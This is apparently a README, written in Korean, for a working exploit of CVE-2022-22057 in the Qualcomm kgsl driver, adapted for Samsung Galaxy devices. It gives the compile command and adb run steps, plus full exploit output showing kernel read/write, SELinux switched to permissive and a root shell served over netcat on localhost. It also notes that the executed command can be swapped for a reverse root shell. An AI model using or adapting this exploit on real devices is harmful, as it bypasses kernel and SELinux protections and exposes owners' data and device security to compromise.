
Qualcomm kgsl 드라이버 익스플로잇 (CVE-2022-22057) - 삼성 갤럭시 기기용, 임의의 커널 메모리 읽기/쓰기, SELinux 우회 및 경쟁 조건을 통한 임시 루트 액세스 달성
SM-F926U용으로 원본 익스플로잇 여기에서 가져와 적응시킨 것입니다.
익스플로잇을 발견하고 SM-F926U로 이식하여 사용 가능하게 만드는 데 필요한 모든 질문에 극도로 인내심을 가져주신 m-y-mo님께 큰 감사를 드립니다.
시작 데몬(libtimeline.so)을 Shizuku의 코드를 기반으로 추가했습니다.
임시 루트 솔루션이 안정적이 되도록 하는 더티 트릭을 추가했습니다(아래 참조).
면책: 저는 파괴된 기기, 데이터 손실, 데이터 도난, 기기 보안에 대해 책임을 지지 않습니다.
면책 2: 저는 개발자가 아니라 전문적인 땜장이(tinkerer)에 가깝습니다. 문제가 발생하면 도움을 드리려고 시도할 수 있지만, 이 스레드를 다시 보지 않을 수도 있습니다. 모든 책임은 본인에게 있습니다.
요구 사항:
지침:
/data/local/tmp/timeline을 실행하여 익스플로잇이 실행 중인지 또는 중단되었는지 확인할 수 있습니다(아래 주의 사항 참조)./data/local/tmp/libtimeline.so 실행netcat 127.0.0.1 6969를 입력하여 루트 셸에 연결하십시오.id를 입력하면 루트 자격 증명이 표시됩니다.echo 'YOUR COMMAND' | netcat 127.0.0.1 6969추가 주의 사항:
top에서 timeline이 약 100% CPU 사용량으로 실행되는 것을 볼 수 있습니다. 이것이 정당한지 아닌지는 잘 모르겠습니다. 실제로는 프로세스가 종료되어 기기가 충돌하는 것을 방지하기 위해 while(1) 상태에 있을 뿐이므로, 높은 CPU 사용량의 원인이나 오탐인지 아직 찾지 못했습니다분석 글은 여기에서 찾을 수 있습니다. 이는 2021년 11월에 제가 보고한 Qualcomm kgsl 드라이버의 버그입니다. 이 버그는 신뢰할 수 없는 앱 도메인에서 임의의 커널 메모리 읽기 및 쓰기를 가능하게 하며, 이를 사용하여 SELinux를 비활성화하고 루트를 획득합니다.
익스플로잇은 Samsung Galaxy Z Flip 3(유럽 버전 SM-F711B)에서 펌웨어 버전 F711BXXS2BUL6, 베이스밴드 F711BXXU2BUL4, 커널 버전 5.4.86-qgki-23063627-abF711BXXS2BUL6(EUX 지역)로 테스트되었습니다. 익스플로잇의 오프셋은 해당 펌웨어 버전을 기준으로 합니다. 커널 이미지의 일반적인 오프셋 외에도 ion_utils.c의 이온 메모리 풀 다양한 주소도 펌웨어에 따라 다릅니다. 참고로 ndk-21에서 clang으로 컴파일하기 위해 다음 명령을 사용했습니다:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
익스플로잇은 상당히 신뢰할 만합니다(테스트 기기에서 약 70%). 하지만 시작 후 몇 분 정도 기다렸다가 실행해야 합니다. 부팅 후 처음 몇 분 동안 깨지거나 실패한 binder 호출이 너무 많기 때문입니다. (Qualcomm 또는 Samsung 문제인지 확실하지 않습니다.)
테스트하려면 파일을 크로스 컴파일한 후 adb로 실행하십시오:
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
성공하면 SELinux를 비활성화하고 id 명령을 루트로 실행하여 결과를 /data/local/tmp/id.txt 파일에 기록합니다:
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
wait complete -1이 출력된 후 긴 일시 중지가 있으며, 1분 미만이어야 합니다. 이는 정상입니다. 작업을 대기열에 추가하는 데 시간이 걸릴 수도 있습니다(queuing work, waiting to aquire spin lock 출력 후, 몇 분 정도 걸릴 수 있으며 인내심을 가져야 하지만 흔하지는 않습니다). 익스플로잇은 보통 몇 분 안에 완료됩니다.
파일 /data/local/tmp/id.txt는 명령이 루트로 실행되었음을 확인해야 합니다:
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
work_queue_utils.c의 setup_sub_info에서 변수 cmd를 변경하여 다른 명령을 실행할 수 있습니다. (예: 리버스 루트 셸을 띄우는 등.)